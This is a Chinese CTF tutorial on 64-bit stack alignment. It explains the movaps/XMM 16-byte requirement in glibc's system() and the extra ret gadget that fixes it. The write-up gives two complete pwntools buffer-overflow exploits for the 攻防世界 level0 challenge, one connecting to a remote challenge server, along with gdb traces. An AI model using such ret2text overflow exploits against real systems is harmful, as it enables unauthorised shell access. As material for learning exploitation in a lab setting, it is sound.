堆栈平衡

PWN 堆栈平衡是指在 PWN 漏洞利用中,为了保证 payload 的字节数是 16 的倍数,需要对堆栈进行平衡;而在 32 位 PWN 漏洞利用中,没有堆栈平衡一说,仅在 64 位中存在

glibc2.27 以后引入 XMM 寄存器,用于记录程序状态。主要出现在 Ubuntu 18.04 及以后的版本,需要考虑堆栈平衡 (栈对齐)

主要原因在于:
在调用 system() 函数时,会进入 do_system 执行一个 movaps 指令对 XMM 寄存器进行操作,movaps 指令要求 RSP 按 16 字节对齐,即:**RSP 中地址的最低 4 位必须为 0,直观地说,就是该地址必须以数字 0 结尾**

问:如何解决堆栈平衡问题?
可以通过在进入 system() 函数之前增加一个 ret 指令来解决(常用),或者也可以在 system() 函数中不执行第一条 push rbp 操作来解决

问:为什么加的是 ret 指令?
由于在 system() 函数之前加入了一个新地址,栈顶被迫下移 8 个字节,使之对齐 16 字节,满足 movaps 指令对 XMM 寄存器进行操作的条件;同时,由于插入的地址指向了 ret 指令,程序仍然可以顺利地进入 system("/bin/sh") 中,不会改变程序执行流程

  1. XMM 寄存器是 128 位的寄存器,称为:浮点数寄存器,包括 XMM0 - XMM15

XMM 寄存器主要用于:

  • 32 位和 64 位浮点数的操作
  • SIMD 指令:一条 SIMD 指令可以同时接受多个数据流,提升处理速度
  • SSE 指令:一般用不到,不详细讨论

除了 XMM 寄存器外,还有 256 位的 YMM 寄存器和 512 位的 ZMM 寄存器,也是类似的功能
随着 ZMM 的出现,XMM 和 YMM 寄存器的个数被扩展到了 32 个

  1. movupsmovaps 是 x86 汇编语言中的两条指令,用于数据传输操作,通常用于将数据从内存加载到 XMM 寄存器或从 XMM 寄存器存储到内存
  • movups

把源存储器内容值送入目的寄存器,但不必对齐内存 16 字节

movups xmm, xmm/m128
movups xmm/128, xmm
  • movaps

把源存储器内容值送入目的寄存器,当有 m128 时,必须对齐内存 16 字节,也就是内存地址低 4 位为全 0

movaps xmm, xmm/m128
movaps xmm/128, xmm
  1. 除此之外,还可以得知:
  • 使用 XMM 寄存器时,需要 16 字节对齐
  • 使用 YMM 寄存器时,需要 32 字节对齐
  • 使用 ZMM 寄存器时,需要 64 字节对齐

例题

以攻防世界的一道 PWN 题为例:【攻防世界】level0

程序保护机制:

攻防世界-level0 1.png

程序逻辑:

攻防世界-level0 3.png

攻防世界-level0 4.png

存在后门函数:

攻防世界-level0 5.png

得到 callsystem 函数的地址为:0x400596

攻防世界-level0 7.png

脚本:

from pwn import *

context(os='linux', arch='amd64', log_level='debug')  # 打印调试信息
content = 0  # 本地Pwn通之后,将content改成0,Pwn远程端口

if content == 1:
	io = process("/home/wyy/桌面/PWN/level0")  # 程序在kali的路径
else:
	io = remote("61.147.171.105", 56877)  # 题目的远程端口

elf = ELF("/home/wyy/桌面/PWN/level0")  # 生成对象elf
callsystem_addr = elf.symbols["callsystem"]  # 获取callsystem函数的地址,本题为:0x0400596,在ida中可以看到函数的地址

payload = b'a' * (0x80 - 0x00 + 0x08) + p64(callsystem_addr)  # 这里不用callsystem_addr直接用0x0400596也是可以的

io.recvuntil("Hello, World\n")
io.sendline(payload)

io.interactive()

上面这个脚本在远程是可以打通的,如图:

PWN-64位PWN程序堆栈平衡1.png

但是在本地不可以,打不通
显示:[*] Got EOF while reading in interactive

PWN-64位PWN程序堆栈平衡2.png

玄学的问题出现了:

同样的脚本,同样的程序,在远程可以打通,在本地就打不通


调试分析

在 python 脚本发送 payload 之前,通过 gdb 附加调试:

payload = b'a' * (0x80 - 0x00 + 0x08) + p64(callsystem_addr)

io.recvuntil("Hello, World\n")

gdb.attach(io)
pause()

io.sendline(payload)

python 脚本被暂停:

PWN-64位PWN程序堆栈平衡9.png

gdb 自动断在 read() 函数中:

PWN-64位PWN程序堆栈平衡10.png

终端中按任意键继续执行 python 脚本

gdb 直接 finish 跳出 read() 函数:

PWN-64位PWN程序堆栈平衡11.png

gdb 一直 ni 单步执行到 system() 函数的调用处

发现参数是 "/bin/sh" 没有问题

PWN-64位PWN程序堆栈平衡6.png

gdb 继续 ni 单步执行

发现 gdb 报错:Program received signal SIGSEGV, Segmentation fault.

程序断在:0x7ff1e1c50973 <do_system+115> movaps xmmword ptr [rsp], xmm1

PWN-64位PWN程序堆栈平衡5.png

说明这一条指令出现问题

gdb 继续 ni 单步执行也不会发生任何变化

观察 RSP 寄存器的值为 0x7ffffb7aa188没有 16 字节对齐(最低 4 位不是 0)


解决办法

在进入 system() 函数之前,增加一个 ret 指令,因为 ret 指令不会改变程序的执行流

使用 ROPgadget 查找 ret 指令地址:ret_addr = 0x400431

PWN-64位PWN程序堆栈平衡3.png

将 payload 改为 payload = b'a' * (0x80 - 0x00 + 0x08) + p64(ret_addr) + p64(callsystem_addr) 即可打通本地

PWN-64位PWN程序堆栈平衡4.png

改进后脚本如下:

from pwn import *

context(os='linux', arch='amd64', log_level='debug')  # 打印调试信息
content = 0  # 本地Pwn通之后,将content改成0,Pwn远程端口

if content == 1:
	io = process("/home/wyy/桌面/PWN/level0")  # 程序在kali的路径
else:
	io = remote("61.147.171.105", 56877)  # 题目的远程端口

elf = ELF("/home/wyy/桌面/PWN/level0")  # 生成对象elf
callsystem_addr = elf.symbols["callsystem"]  # 获取callsystem函数的地址,本题为:0x0400596,在ida中可以看到函数的地址

ret_addr = 0x400431
payload = b'a' * (0x80 - 0x00 + 0x08) + p64(ret_addr) + p64(callsystem_addr)  # 添加一个 p64(ret_addr) 平衡堆栈

io.recvuntil("Hello, World\n")
io.sendline(payload)

io.interactive()

再次调试分析

vulnerable_function() 执行完后,会多执行一个 ret 指令,地址位于 0x400431

然后 ni 单步执行到达 system() 函数

PWN-64位PWN程序堆栈平衡7.png

使用 si 进入 system() 函数内部

ni 单步执行到 movaps xmmword ptr [rsp], xmm1 语句处

可以看到已经可以通过 ni 单步执行到 movaps xmmword ptr [rsp], xmm1 这一句后面

已经不会再报错了

PWN-64位PWN程序堆栈平衡8.png

可以看到此时 RSP 为:0x7ffe95f29310已经 16 字节对齐了(最低 4 位为 0)